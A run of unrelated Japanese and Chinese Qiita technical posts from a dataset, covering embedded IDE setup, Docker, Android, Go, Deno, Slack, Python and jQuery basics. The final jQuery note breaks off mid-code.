OmniAICreator/Qiita-1.07M huggingface dataset:
CMISS を SEGGER Enbedded Studio で使う

Nordic の SDK では機能の ON/OFF や設定のあれこれなどを sdk_config.h で指定する。
どのパラメータがどこにどう対応しているのか非常にわかりづらくて極度大変(しなさい)な感じ。

sdk_config.h を少しでも扱いやすくするために、CMISS というツールがある。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/bb1f3365-61ff-7dbc-64c1-38592b4bc8e3.png)


CMISS は Java で動作するオープンソースツールで、SES にバンドルされている。
以前使っていたはずなのだが、あれ？ メニューがSES中に見当たらないな・・・

改めて調べるとCMISSをSES中で有効にするためには外部ツールの設定をしておかないといけないらしい。そういえば半年前に開発機変更したのだった。以前の開発機では設定をしていたけどそれを忘れてたぽい。

ということで、以下のように設定した。


https://infocenter.nordicsemi.com/index.jsp?topic=%2Fsdk_nrf5_v16.0.0%2Fsdk_config.html

の通り、

「File」-「Open Studio Folder...」-「External Tools Configuration」とすると、tools.xmlが表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/1858f797-dd98-b499-c993-957ee2bf29da.png)


以下を </tools> の直前に書き足し、保存して SES を再起動します。

```

<item name="Tool.CMSIS_Config_Wizard" wait="no">
    <menu>&amp;CMSIS Configuration Wizard</menu>
    <text>CMSIS Configuration Wizard</text>
    <tip>Open a configuration file in CMSIS Configuration Wizard</tip>
    <key>Ctrl+Y</key>
    <match>*config*.h</match>
    <message>CMSIS Config</message>
    <commands>
      java -jar &quot;$(CMSIS_CONFIG_TOOL)&quot; &quot;$(InputPath)&quot;
    </commands>
</item>
```


sdk_config.h を右クリックすると CMISS メニューが出現します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/1ff6363b-9875-5178-6230-177f273bbe7e.png)
GraphQL Prisma React

# 目的
この記事は, GraphqQL, Prisma, React を用いて, Webアプリを作った時に, 参考にしたもの(URL)をただ並べているものです. 特にバックエンドの内容（GraphQLとPrisma の組み方など）が多いです.ほとんど自分のメモ用

# Prisma
### Prisma && MySQL
https://www.prisma.io/docs/prisma-server/database-connector-MYSQL-jgfs/
# GraphQL
### Apollo
https://www.howtographql.com/react-apollo/0-introduction/
### File uploadする時にハマった. 解決策はこれ
https://github.com/ardatan/graphql-import/issues/286
### typeDefs
https://oss.prisma.io/content/graphql-import/overview
# Prisma && GraphQL

https://blog.logrocket.com/intro-to-graphql-with-prisma/
ALMAデータリダクション


気がむいたら更新していく予定
# 工事中

# 目次
## casaを用いた解析
### データ処理
- download
- concat
- split
- clean

- 番外編
  - large surveyのダウンロード＆処理用pkgはこちら

### 解析
- [cube積分強度 or 速度分散 or 速度場 or T peakにする](https://qiita.com/164kondo/items/13d6677c005c012abffe)
- 速度軸をbiningする
- 空間グリッドを揃える
- 速度グリッドを揃える
- 空間をsmoothingする
- 連続波を差し引く
- rms以下をzeroにする

### 便利ツール集
- image -> fitsに変換
- fits -> imageに変換
- headerを確認する
- 観測の境界線のfitsを作成
- listobsからspwを自動選択

## pythonを用いた解析
- Jy/beamからKに単位変換
- headerを編集する
- Missing Fluxを求める
- 空間分解能を揃える(convolution)
- 質量を求める
    - continuumから求める
    - 12COから求める
    - 13COから求める
- filamentを同定する
- GMCを同定する



## 図の作成
- fitsを図にする
    - 積分強度図
    - 速度分散図
    - 速度場図
    - PV図

- チャンネルマップ
- プロファイルマップ
- PV図
- rgb図

[libraryはこちら]()

更新日
- 20200208 工事開始
初心者によるプログラミング学習ログ 233日目

100日チャレンジの233日目

twitterの100日チャレンジ#タグ、#100DaysOfCode実施中です。
すでに100日超えましたが、継続。

100日チャレンジは、ぱぺまぺの中ではプログラミングに限らず継続学習のために使っています。

233日目は
<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">おはようございます<br>233日目<br>・udemyのjabascript講座<a href="https://twitter.com/hashtag/%E6%97%A9%E8%B5%B7%E3%81%8D%E3%83%81%E3%83%A3%E3%83%AC%E3%83%B3%E3%82%B8?src=hash&amp;ref_src=twsrc%5Etfw">#早起きチャレンジ</a><a href="https://twitter.com/hashtag/%E9%A7%86%E3%81%91%E5%87%BA%E3%81%97%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%81%A8%E7%B9%8B%E3%81%8C%E3%82%8A%E3%81%9F%E3%81%84?src=hash&amp;ref_src=twsrc%5Etfw">#駆け出しエンジニアと繋がりたい</a><a href="https://twitter.com/hashtag/100DaysOfCode?src=hash&amp;ref_src=twsrc%5Etfw">#100DaysOfCode</a></p>&mdash; ぱぺまぺ@webエンジニアを目指したい社畜 (@yudapinokio) <a href="https://twitter.com/yudapinokio/status/1225873103869243397?ref_src=twsrc%5Etfw">February 7, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
Pythonローカル開発環境構築テンプレート【Flask/Django/Jupyter with Docker + VSCode】

# 概要

ローカル環境を構築することには、それなりのコストを伴います。もちろんここで多少苦労したほうがよいという意見はすごく分かります。が、それで気持ちが削がれてしまうのももったいないと思う次第です。
そこで、Flask/Django/JupyterNotebook向けの **Python開発環境構築を3コマンドで完了** させられるようなテンプレートを作成しました。(`cd`を除く)

# 前提条件

- MacOSであること
- `git`および`make`コマンドが有効であること(デフォルトで有効なはず)

※`conda`がインストールされている場合は、pipとのバッティングが発生し中途で失敗する可能性があります。

# ローカル構築イメージ
Dockerコンテナ上でアプリを動かすことになります。よく分かっていなくても、**Dockerコンテナを使って開発している**と言うことができます。

![Flask_Nginx_unicorn_diagramdrawio-local-template (1).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/552343/f933d40f-2b54-8ab1-1557-0abd74a28fcd.png)


- bind mountによってホストPCからコンテナへのディレクトリ提供を行っています。これにより、ホストPC側で編集したファイルの内容をコンテナ側で読み込むことを実現しています。
- ホストPCからのアクセスについては、ポートフォワーディングを採用しています。プロジェクトによってコンテナ側の接続ポートは変更していますが、フォワードするホスト側のポートはすべて8000番に統一しました。

# 構築手順
## 1. テンプレートをダウンロード
`git clone`によるダウンロード方法を記載します。

```bash:Terminal
git clone git@github.com:mintak21/local-py-dev-template.git
```

## 2. テンプレートを開発用ディレクトリへ展開
展開先ディレクトリを指定して、プロジェクトの展開を行います。
作成したプロジェクトに応じて、`make`コマンドを使い分けます。

```bash:Terminal
cd local-py-dev-template
# jupyterプロジェクトを作成する場合
make create_jupyter_pj
# flaskプロジェクトを作成する場合
make create_flask_pj
# djangoプロジェクトを作成する場合
make create_django_pj
```

- 指定可能な引数

|引数名|概要|省略時値|
|:----|:------|:------|
|TARGET_DIR|展開先ディレクトリ(存在しない場合は作成)|~/workspace/project|
|DJANGO_PJ_NAME|djangoの場合に指定可能。Djangoテンプレートのプロジェクト名|mysite|


引数を指定したコマンド例

```bash:Terminal
# １つ上の階層のflask_dirディレクトリにflaskプロジェクトを展開
make create_flask_pj TARGET_DIR=../flask_dir
# ~/workspaceディレクトリにdjangoプロジェクトを展開、djangoプロジェクト名はblogとする
make create_django_pj TARGET_DIR=~/workspace DJANGO_PJ_NAME=blog
```

## 3. コンテナ起動
2にて展開したディレクトリへ移動し、Dockerイメージ、コンテナを作成、起動を行います。

```bash:Terminal
cd ${TARGET_DIR}
make run
```

## 4. 接続
いずれのコンテナもホストPCの8000番ポートでのポートフォワーディングを行なっているので、以下にアクセスすることができれば接続ができ、記載している内容が表示されていれば設定完了です。

アクセス先：　http://localhost:8000/

|プロジェクト|期待結果|
|:----|:------|
|Jupyter|Jupyterホーム画面で、`HelloPython.ipynb`ファイルが見えている
|Flask|`Hello Flask!`と表示されている
|Django|ロケットが出ている 

## 5. コンテナ停止(Shutdown)
Foregroundで実行しているため、ターミナル上のプロセスを停止することでコンテナが停止します。

ターミナルで`Ctrl + C`


# おまけ. Visual-Studio-Codeセットアップ
ここまでで、起動と接続が出来たので、これ以降は開発を進めていくことになります。
開発エディタには`Vim`や`pytorch`などもありますが、ここでは`Visual-Studio-Code`を用いて開発を進められるようにしています。
導入は１コマンドで完了します。

```bash:Terminal
make setup_vscode # local-py-dev-templateディレクトリで実行
```

## 設定概略
単に`Visual-Studio-Code`をインストールするだけではなく、静的解析や`pytest`などの設定、必要&有用な拡張機能の導入も同時に行うようにしています。

1. `brew cask`による`Visual-Studio-Code`のインストール
2. パッケージ導入(`pip`)
 - 静的解析：flake8
 - import整列：isort
 - フォーマッタ：autopep8
 - typeチェック：mypy
 - テスト：pytest
3. 拡張機能導入(`code --install-extension`)
 - Microsoft-Python : Python拡張ツール(必須)
 - Bracket Pair Colorizer : 対応するかぎかっこが色で見やすくなる
 - Whitespace+ : タブと空白を可視化
 - Docker : vscodeでDockerが扱える
 - vscode-icons : アイコンを見やすくする
 - autoDocString : DocString作成補助

# Others
ローカル側も`pipenv`などの仮想環境を利用すべきかもしれませんが、自分の知る`pythonic`な諸先輩方はピュアPythonを使っていることが多かったため、これに倣い仮想環境は導入していません。

# Reference
[Githubリポジトリ](https://github.com/mintak21/local-py-dev-template)
android.os.HandlerのpostとpostDelayedを使った際のQueueに積まれる順番について

AndroidでHandlerの`post(Runnable r)`を複数回コールした場合は、postした順にQueueに積まれて、実行されます。`post(Runnable r)`と`postDelayed(Runnable r, long delayMillis)`を使った場合にどうQueueに積まれるか調べてみました。

ソースコードを見ると、postとpostDelayedの内部では共に`sendMessageDelayed(Message msg, long delayMillis)`が呼ばれていました。

```java:Handler.java
    public final boolean post(@NonNull Runnable r) {
       return  sendMessageDelayed(getPostMessage(r), 0);
    }

    public final boolean postDelayed(@NonNull Runnable r, long delayMillis) {
        return sendMessageDelayed(getPostMessage(r), delayMillis);
    }
```

sendMessageDelayedの中では`sendMessageAtTime(Message msg, long uptimeMillis)`が呼ばれており、引数のuptimeMillisには`SystemClock.uptimeMillis() + delayMillis`が設定されています。

```java:Handler.java
    public final boolean sendMessageDelayed(Message msg, long delayMillis)
    {
        if (delayMillis < 0) {
            delayMillis = 0;
        }
        return sendMessageAtTime(msg, SystemClock.uptimeMillis() + delayMillis);
    }
```

つまり、`postDelayed(Runnable r, long delayMillis)`はdelayMillis ミリ秒後に`post(Runnable r)`をするのと同じことになります。
例えば、下記のコードを実行すると、

```kotlin:Sample.kt
        val handler = Handler()

        handler.postDelayed( Runnable { Log.d(TAG, "Runnable 1") }, 100)
        Log.d(TAG, "1 postDelayed")

        handler.post( Runnable {
            Log.d(TAG, "Runnable 2-1")
            Thread.sleep(100)
            Log.d(TAG, "Runnable 2-2")
        })
        Log.d(TAG, "2 post")

        handler.post( Runnable {
            Log.d(TAG, "Runnable 3-1")
            Thread.sleep(200)
            Log.d(TAG, "Runnable 3-2")
        })
        Log.d(TAG, "3 post")
```

ログは下記のようになります。

```
2020-02-08 20:08:07.385 22994-22994/Sample: 1 postDelayed
2020-02-08 20:08:07.385 22994-22994/Sample: 2 post
2020-02-08 20:08:07.385 22994-22994/Sample: 3 post
2020-02-08 20:08:07.490 22994-22994/Sample: Runnable 2-1
2020-02-08 20:08:07.591 22994-22994/Sample: Runnable 2-2
2020-02-08 20:08:07.592 22994-22994/Sample: Runnable 3-1
2020-02-08 20:08:07.793 22994-22994/Sample: Runnable 3-2
2020-02-08 20:08:07.950 22994-22994/Sample: Runnable 1
```

`Runnable 1`は`Runnable 3`の後に実行されます。
また、`postDelayed`はdelayMillisを１００msにしていますが、実際に実行されるのは56５ms後です。
`Runnable 1`が、`Runnable 3`の前または、１００ms後に実行されることを想定していると、思わぬ不具合を生むことになるので注意が必要です。
待って、その Defer 本当に実行されますか？

社の勉強会で指摘されたことを自戒の意を込めてポストする。

# Defer おさらい

> defer ステートメントは、 defer へ渡した関数の実行を、呼び出し元の関数の終わり(returnする)まで遅延させるものです。

上記は [Tour of go](https://go-tour-jp.appspot.com/flowcontrol/12) より。HTTPクライアントの実装やファイルの読み書きをするときにリソースのクローズする際などによく使われる。

例えば以下のようなコード。

```Go
func ReachableDefer() (err error) {

	resp, err := http.Get("http://sample.com/")
	if err != nil {
		return err // 遅延実行されない
	}

	defer func() {
		if err := resp.Body.Close(); err != nil {
			log.Fatal("close resources", err)
		}
	}()

	_, err = ioutil.ReadAll(resp.Body)
	if err != nil {
		return err
	}

	return err
}
```

`defer` の宣言の手前に `return` の宣言がある場合、その `return` 実行時には `defer` の処理は実行されない。

故に、上記コードにおいては `http.Get("http://sample.com/")` の読み込みが失敗した場合、`defer` の遅延実行は走らない。

この時、`resp` は `nil` となるのでリソースをクローズしなくても問題にはならない。

# Defer を宣言する位置に注意

さきほどのコードにおいて `defer` の宣言をうっかり下記のようにすると、読み込んだリソースが閉じられることなく処理が終了してしまい、読み込んだリソースがリークしてしまう。

```go
func UnreachableDefer() (err error) {

	resp, err := http.Get("http://sample.com/")
	if err != nil {
		return err // 遅延実行されない, resp は空なのでOK.
	}

	_, err = ioutil.ReadAll(resp.Body)
	if err != nil {
		return err // 遅延実行されない, resp はクローズされずにリークするのでNG.
	}

	defer func() {
		if err := resp.Body.Close(); err != nil {
			log.Fatal("close resources", err)
		}
	}()

	return err
}
```

`ioutil.ReadAll(resp.Body)` の処理が失敗した場合は遅延実行は走らない。

# 最後に

いつ如何なるときも関数の終了時に遅延実行してくれるものと勘違いしてました。
学び。
Chromeデベロッパーツールのショートカット一覧

サイト制作で毎日お世話になっているChromeデベロッパーツール。
ショートカットを使うと効率UP可能です〜。

#ショートカット一覧をデベロッパーツールから確認

![Alt text](https://gyazo.com/91c1fa4b0e2d55a1654ce67f60d6dcfb/raw)

メニュー＞Shortcutsで確認できます。
英語の説明ですが、思い出せないショートカットをサッと確認できて便利です😀

#公式サイトのショートカット一覧
<div class="wwwlink"><a href="https://developers.google.com/web/tools/chrome-devtools/shortcuts" target="_blank">キーボード ショートカットのリファレンス  |  Tools for Web Developers  |  Google Developers</a></div>

確実に調べるなら公式サイトのショートカット一覧が便利。こちらは日本語の説明です。

#サイト制作におすすめショートカット3種類

マークアップエンジニアの自分が頻繁に使う
便利ショートカットを3つご紹介します。マウスやキーボードより効率UPができちゃいます:keyboard:

##おすすめ1：数値を爆速で入力できるショートカット

marginやpadding値の微調整に、めっちゃ使います〜〜。
細かい数値調整を手入力してると日が暮れちゃう…:sweat_smile:

| グローバル ショートカット | Windows の場合 | Mac |
|:--|:--|:--|
| 値を増やす / 減らす | 上矢印、下矢印 | 上矢印、下矢印 |
| 値を 10 ずつ増やす / 減らす | Shift+上矢印、Shift+下矢印 | Shift+上矢印、Shift+下矢印 |
| 値を 10 ずつ増やす / 減らす | PgUp、PgDown | PgUp、PgDown |
| 値を 100 ずつ増やす / 減らす | Shift+PgUp、Shift+PgDown | Shift+PgUp、Shift+PgDown |
| 値を 0.1 ずつ増やす / 減らす | Alt+上矢印、Alt+下矢印 | Opt+上矢印、Opt+下矢印 |

## おすすめ2：[Inspect Element] モードに切り替え

| グローバル ショートカット | Windows の場合 | Mac |
|:--|:--|:--|
| [Inspect Element] モードとブラウザ ウィンドウを開く / 切り替える | Ctrl+Shift+C | Cmd+Shift+C |

ショートカットでインスペクトのON/OFFを切り替えます。便利。

![Alt text](https://i.gyazo.com/8bee5f4a7f06407c03d957b1b3f5c68d.png)

## おすすめ3：Device ModeのON/OFF

ショートカットでデバイスモードのON/OFF切り替えが可能です。
こちらはレスポンシブの検証でたくさん使います。

| グローバル ショートカット | Windows の場合 | Mac |
|:--|:--|:--|
| Device Mode の開始 | Ctrl+Shift+M | Cmd+Shift+M |
![Alt text](https://i.gyazo.com/8e96487b0f2b238a8d0eacfc2a925ad4.png)

使っている開発言語により、便利ショートカットは違うと思います。
マークアップ系でオススメのショートカットがあればコメントいただけると嬉しいです。

#まとめ

毎日お世話になるデベロッパーツール。
繰り返し作業はショートカットで楽できる。
【メモ】Gradleのタスクを空実行して、実際に実行されるすべてのタスクを確認する方法

例えばAndroid開発で、 `app:assemble` というタスクを実行した場合、実際に実行されるのは

```
app:preBuild
app:preDebugBuild
app:compileDebugAidl
...（その他いっぱい）
```

と色々なタスクが実行されるのですが、実行されるタスクを一覧で確認する方法はないのかと調べたメモです。

# -m オプションを使って空実行すればOK
Gradle User Guide の [第11章 Gradleのコマンドラインを使う](http://gradle.monochromeroad.com/docs/userguide/tutorial_gradle_command_line.html) の **11.7. 空実行** に記載されていました。

**確認したいタスクに `-m` を追加して実行すればOKです。**
（上記のページには記載がないですが `--dry-run` でもOKです。）

試しに `./gradlew app:assemble -m` を実行してみると…

```
:app:preBuild SKIPPED
:app:preDebugBuild SKIPPED
:app:compileDebugAidl SKIPPED
:app:compileDebugRenderscript SKIPPED
...
```

という感じですべてを確認することが出来ました。 :smile:
deno v0.32.0の変更点

# 概要

https://github.com/denoland/deno/releases/tag/v0.32.0

denoのv0.32.0がリリースされたため、変更点をまとめます。

# Breaking Changes

## `deno fmt`で実行されるフォーマッターがprettierから[dprint(Rust製)](https://github.com/dsherret/dprint)に変更された

これにより`deno fmt`の高速化が見込まれます。

ただし、現時点では[トップレベルawaitに対応していない](https://github.com/denoland/deno/issues/3883)という報告がなされています。

- https://github.com/denoland/deno/pull/3820
- https://github.com/denoland/deno/issues/3818

## `deno install`がRustでリライトされた

それに伴い、`std/installer`が削除されています。

- https://github.com/denoland/deno/pull/3806
- https://github.com/denoland/deno/pull/3843

## `deno run`コマンドから`--current-thread`フラグが削除された

今後のリファクタリングを容易にするために削除されたようです。

- https://github.com/denoland/deno/pull/3830

## `Deno.makeTempDir`が適切にパーミッションチェックを実施するように修正された

一時ディレクトリの作成先のパスに対するパーミッションチェックが実施されていない問題があったため、修正されました。

- https://github.com/denoland/deno/pull/3810
- https://github.com/denoland/deno/issues/3729

# 新機能等

## JavaScriptモジュールに対する型サポートの強化

JavaScriptモジュールに対して型付けを提供する手段として、下記の2種類が追加されました。

#### トリプルスラッシュディレクティブ

`/// <reference types="<path>" />`形式で、型定義ファイルのパスを指定する。

```javascript:add.js
/// <reference types="./add.d.ts" />
export function add(a, b) {
  return a + b;
}
```

```typescript:add.d.ts
export function add(a: number, b: number): number;
```

```typescript:mod.ts
import {add} from './add.js';

console.log(add('a', 1));
```

下記を実行すると、`add.d.ts`の型定義に違反しているため、コンパイルエラーが発生します。

```sh
$ deno run ./mod.ts
error TS2345: Argument of type '"a"' is not assignable to parameter of type 'number'.
```

#### `X-TypeScript-Types`

JavaScriptファイルを配信する際に、HTTPレスポンスの`X-TypeScript-Types`ヘッダを設定しておくことで、denoに型定義ファイルの所在を知らせることができる。

- https://github.com/denoland/deno/pull/3755

## `deno fetch`が`--lock-write`をサポート

`deno fetch`を`--lock-write`オプションとともに使用した際に、ロックファイルが作成されない問題があったため、修正されました。

- https://github.com/denoland/deno/pull/3787
- https://github.com/denoland/deno/issues/3772

## `deno eval`が`--v8-flags`をサポート

- https://github.com/denoland/deno/pull/3797

## fetch APIがより標準に準拠するように変更された

- `"error"`や`"manual"`等のリダイレクトモードのサポート
- `Response.redirect`がサポートされた
- `"basic"`以外のレスポンスタイプのサポート(`Response.type`)

- https://github.com/denoland/deno/pull/3667

## `deno fetch`で複数のファイルを指定できるようになった

```sh
$ deno fetch foo.ts bar.ts
```

- https://github.com/denoland/deno/pull/3845
- https://github.com/denoland/deno/issues/3149

## Node.jsの`os`モジュールが一部実装された(std/node)

Node.jsの`os`モジュールの下記機能が実装されました。

- `os.arch()`
- `os.homedir()`
- `os.hostname()`
- `os.EOL`
- `os.constants.signals`

#### 参考

- https://github.com/denoland/deno/pull/3821
- https://github.com/denoland/deno/pull/3833

## 標準モジュールにbase32モジュールが追加された(std/encoding)

```typescript
import { encode } from "https://deno.land/std@v0.32.0/encoding/base32.ts";

const encoder = new TextEncoder();
console.log(encode(encoder.encode("hello"))); // NBSWY3DP
```

- https://github.com/denoland/deno/pull/3855

# その他

- パーミッション違反発生時のエラーメッセージがより詳細になった。
  - https://github.com/denoland/deno/pull/3808
- Deno.removeで孤立したシンボリックリンクが削除されない問題が修正された。
  - https://github.com/denoland/deno/pull/3860
  - http://github.com/denoland/deno/issues/3832
office365 テナントを取ってみる

# office365テナントを取るときの画面
## 注意点

- 画面は2020/02月時点
- 画面が変わることは時々あるので、案件などで●●操作手順書作れーとか言われても、ユーザーがいざ使うときになって画面違うじゃん！ってことが起こり得る
- テナントを取った時期によってデフォルトの設定が違っていたりする


## スクショ
1. MSにアクセス！
https://products.office.com/ja-jp/compare-all-microsoft-office-products?&rtc=1&activetab=tab:primaryr2
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/3b20b78b-150d-d095-cea5-9271236f9688.png)

2. 今回は1ヶ月無料で試す（下の方にボタンある）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/2b05438d-3750-cad5-6908-a61278aae69a.png)


3. メールアドレス入力
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/b33afae0-40f3-f7c7-9727-e8f5bf23966c.png)


4. メールアドレス入力後
 - 今までMSサービスを使ったことがない場合
「アカウントのセットアップ」を押せばOK
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/82225001-0b22-394e-adbe-6e0c870bc3b6.png)
 - MSサービスを使ったことがある場合（既に会社でテナントを持っていたり）
「代わりに新しいアカウントを作成」とすれば新規に取得できる
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/91f6345d-2e94-3053-911b-ff0383e9b5cd.png)



5. 利用者情報の入力
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/9bdfe11b-3974-929d-760b-6b105de3dcd3.png)


6. ロボットかどうかのチェック
デフォルトでは、利用者情報を入れた際の勤務先の電話番号が入るので、適宜修正する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/fb4049fb-8374-8f6b-c5c3-18e7922b5c64.png)

7. スマホに届いた認証コードを入力
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/291013aa-a5c6-d44d-6bd1-d63844a8bd8e.png)


8. ドメイン名を入力
あとから自社で使っているようなドメインを使えるが、まずは初期のドメインを設定する
ちなみに一意なので、とりあえず検証して後日本番テナントを取ろうとしても名前がダブったらもう取れないです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/3114b7ab-7af7-f5a6-b8ec-2533417f319e.png)


9. 初期ユーザー作成(全体管理者権限で作られます)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/41c24946-674e-f4e0-53d0-43788f0e1ba5.png)


10. トライアルに使うライセンス数を設定
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/411383e3-55db-3628-2be4-7621ca37580c.png)


11. 必要事項を入れてスタート！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/ff5a7b35-7a70-0299-c795-292610ae8520.png)


12. めっちゃズレてるけど、ロボットじゃないことを証明
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/9af81659-99d4-daae-8565-e149e93fdb5a.png)

13. 認証コード入力
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/7027f7b8-ddc8-5e9d-ca8d-ecedbea53dab.png)

14. もうなんでもできるぜ！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/315938/265ddc37-1d47-e516-bb6e-d4e18a031927.png)
クラスメソッド　スタティックメソッド

```py:
class Person(object):
    kind = 'human'

    def __init__(self):
        self.x = 100

    @classmethod
    def what_is_your_kind(cls):
        return cls.kind

    @staticmethod
    def about(year):
        print('human about {}'.format(year))

print(Person.what_is_your_kind())
Person.about(1999)
```

```:実行結果
human
human about 1999
```

`Person.what_is_your_kind()`で
`Person()`となっておらずオブジェクトができていないので、
本来はエラーとなる。

しかし、
`what_is_your_kind`をクラスメソッドにする事で、
`what_is_your_kind`オブジェクトのメソッドではなく、
クラスのメソッドとなりアクセスできる様になる。
slackのSlashCommandsでハマった

ginを使ってslackのSlashCommandsを実行した時のapiサーバーを作っていた。
slackは指定したapiに対して以下のような情報をpostしてくれる
（当初bodyで飛んできていると思い込んでおり、この形でpostされていることに気づくのに時間がかかった）

```
token=gIkuvaNzQIHg97ATvDxqgjtO
&team_id=T0001
&team_domain=example
&enterprise_id=E0001
&enterprise_name=Globular%20Construct%20Inc
&channel_id=C2147483705
&channel_name=test
&user_id=U2147483697
&user_name=Steve
&command=/weather
&text=94070
&response_url=https://hooks.slack.com/commands/1234/5678
&trigger_id=13345224609.738474920.8088930838d88f008e0
```

参考: https://api.slack.com/interactivity/slash-commands


上記の内容を以下のように受け取ろうとしていた。

```go

type Body struct {
	Token       string `json:"token"`
	TeamID      string `json:"team_id"`
	TeamDomain  string `json:"team_domain"`
	ChannelID   string `json:"channel_id"`
	ChannelName string `json:"channel_name"`
	UserID      string `json:"user_id"`
	UserName    string `json:"user_name"`
	Command     string `json:"command"`
	Text        string `json:"text"`
	ResponseURL string `json:"response_url"`
	TriggerID   string `json:"trigger_id"`
}

func Post(c *gin.Context) {
	var body Body

	err := c.BindJSON(&body)

	// some code
}
```

実行すると、BindJSONに失敗して以下のようなエラーがでた。

```
invalid character 'o' in literal true (expecting 'r')
```

これがslackから飛んで来ているが、見てわかる通り、JSONじゃない。

```
token=gIkuvaNzQIHg97ATvDxqgjtO
&team_id=T0001
&team_domain=example
&enterprise_id=E0001
&enterprise_name=Globular%20Construct%20Inc
&channel_id=C2147483705
&channel_name=test
&user_id=U2147483697
&user_name=Steve
&command=/weather
&text=94070
&response_url=https://hooks.slack.com/commands/1234/5678
&trigger_id=13345224609.738474920.8088930838d88f008e0
```

ginでQueryStringを構造体にbindするには、[ShouldBindやBindが使える。](https://github.com/gin-gonic/gin#bind-query-string-or-post-data)
（ShouldBind、Bindはエラーハンドリングを自分でやるかどうかで使い分ける）

以下のように書き換えたらちゃんとslackから飛んで来たパラメータが受け取れた。

```golang

type Body struct {
	Token       string `form:"token"`
	TeamID      string `form:"team_id"`
	TeamDomain  string `form:"team_domain"`
	ChannelID   string `form:"channel_id"`
	ChannelName string `form:"channel_name"`
	UserID      string `form:"user_id"`
	UserName    string `form:"user_name"`
	Command     string `form:"command"`
	Text        string `form:"text"`
	ResponseURL string `form:"response_url"`
	TriggerID   string `form:"trigger_id"`
}

func Post(c *gin.Context) {
	var body Body

	err := c.Bind(&body)

	// some code
```
【docker】docker試煉日(1)基礎介紹

#目的
熟悉與掌握docker用法,實作出內部測試環境與降低多環境需求之成本


#Docker 架構
Docker 包括三個基本元素:

- 鏡像（Image）：Docker 鏡像（Image），就相當於是一個 root 文件系統。比如官方鏡像 ubuntu:16.04 就包含了完整的一套 Ubuntu16.04 最小系統的 root 文件系統。
- 容器（Container）：鏡像（Image）和容器（Container）的關係，就像是ＶＭ安裝概念一樣，鏡像是靜態的定義，容器是鏡像運行時的實體。容器可以被創建、啟動、停止、刪除、暫停等，隨時可依據需求啟動一個你所需要的容器（Ubuntu CentOS等）。
- 倉庫（Repository）：倉庫可視為一個程式碼控制中心，用來保存鏡像。
Docker 使用客戶端-服務器 (C/S) 架構模式，使用遠端API來管理和創建Docker容器。

Docker 容器通過 Docker 鏡像來創建。

![576507-docker1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/176166/13b4c9f9-c8c8-c4bb-62c1-2a61a6dcffa1.png)


#安裝方法
https://www.runoob.com/docker/centos-docker-install.html

#起手式
當安裝完成docker 都要先來跑跑看是否已經能正常運行
接下來我們就開始運行我們的第一個Docker吧

```
P-MP15:~ puwu$ docker run ubuntu:15.10 /bin/echo "Hello world"
Unable to find image 'ubuntu:15.10' locally
15.10: Pulling from library/ubuntu
7dcf5a444392: Pull complete
759aa75f3cee: Pull complete
3fa871dc8a2b: Pull complete
224c42ae46e7: Pull complete
Digest: sha256:02521a2d079595241c6793b2044f02eecf294034f31d6e235ac4b2b54ffc41f3
Status: Downloaded newer image for ubuntu:15.10
Hello world
```

好的,我們今天終於完成第一項任務,可以讓我的使用docker 幫我們印出Hello world
這是多麼不容易的事情(?)

接下來讓我們了解一下啟動時參數使用的用途

使用docker鏡像nginx:latest以後台模式啟動一个容器,并將容器命名為mynginx。

```
docker run --name mynginx -d nginx:latest  
```
使用鏡像nginx:latest以後臺模式啟動壹個容器,將容器的80端口映射到主機的80端口,主機的目錄/data映射到容器的/data

```
docker run -p 80:80 -v /data:/data -d nginx:latest  
```
使用鏡像nginx:latest以互動模式啟動一個容器,在容器內執行/bin/bash命令。

```
P-MP15:~ puwu$ docker run -it nginx:latest /bin/bash
root@fecf799928e4:/# 
```

進入啟動中的容器243c32535da7,使用這個即使下了exit 也不會中斷服務

```
docker exec -it 243c32535da7 /bin/bash
```

更多詳細的參數可以參考[HERE](https://www.runoob.com/docker/docker-run-command.html)

背景服務與操作可參考這篇（後續再補上）[HERE](https://ithelp.ithome.com.tw/articles/10199991?sc=iThelpR)
jQuery ①　（自分用）

##準備##

①今回はemmet記法を使い、時短

VSCode で　index.html内に

```html
!　＋　エンター
```
<img width="517" alt="スクリーンショット 2020-02-08 18.26.57.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/547910/e9becd3e-34d8-491f-d0a4-7ed8097588a0.png">


↓一発で以下になる

<img width="697" alt="スクリーンショット 2020-02-08 18.24.18.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/547910/955f9dab-6bbe-023c-eb0a-53eac877c264.png">

###②jQueryを読み込む為の追記###

[Google Developers](https://developers.google.com/speed/libraries)
head内に追記する

```html
<script　src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
```

---
##ここからjQueryを実践##

##【jQueryはオブジェクト化する】##

```js
$('セレクタ').メソッド();
```
---
###hoverの例###

```main.js
